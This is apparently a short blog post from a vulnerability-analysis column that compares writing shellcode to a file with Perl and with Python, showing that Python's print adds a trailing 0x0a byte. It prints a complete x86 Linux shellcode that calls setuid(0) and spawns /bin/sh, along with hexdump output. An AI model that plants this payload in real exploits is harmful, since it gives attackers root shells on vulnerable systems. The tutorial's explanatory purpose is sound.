shellcode - Python vs Perl

最新推荐文章于 2022-01-02 21:28:21 发布

Nixawk

最新推荐文章于 2022-01-02 21:28:21 发布

阅读量898

点赞数

CC 4.0 BY-SA版权

分类专栏： Vulnerability Analysis

本文链接：https://blog.youkuaiyun.com/nixawk/article/details/44855857

Vulnerability Analysis 专栏收录该内容

76 篇文章

订阅专栏

本文探讨了使用Perl和Python编写shellcode到文件时的差异，包括字节数和Python自动添加的0x0a字符。

What’s the difference between Python and Perl ?

Using perl to write shellcode into a file

[exploit@localhost Overflow]$ perl -e 'print "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"' > sc
[exploit@localhost Overflow]$ wc -c sc
53 sc
[exploit@localhost Overflow]$ hexdump -C sc
00000000  31 c0 31 db b0 17 cd 80  eb 1f 5e 89 76 08 31 c0  |1.1.......^.v.1.|
00000010  88 46 07 89 46 0c b0 0b  89 f3 8d 4e 08 8d 56 0c  |.F..F......N..V.|
00000020  cd 80 31 db 89 d8 40 cd  80 e8 dc ff ff ff 2f 62  |..1...@......./b|
00000030  69 6e 2f 73 68                                    |in/sh|
00000035

53 bytes over.

Using python to write shellcode into a file

[exploit@localhost Overflow]$ python -c 'print "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e \x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"' > sc
[exploit@localhost Overflow]$ wc -c sc
54 sc
[exploit@localhost Overflow]$ hexdump -C sc
00000000  31 c0 31 db b0 17 cd 80  eb 1f 5e 89 76 08 31 c0  |1.1.......^.v.1.|
00000010  88 46 07 89 46 0c b0 0b  89 f3 8d 4e 08 8d 56 0c  |.F..F......N..V.|
00000020  cd 80 31 db 89 d8 40 cd  80 e8 dc ff ff ff 2f 62  |..1...@......./b|
00000030  69 6e 2f 73 68 0a                                 |in/sh.|
00000036

54 bytes over.

0x0a is added by python.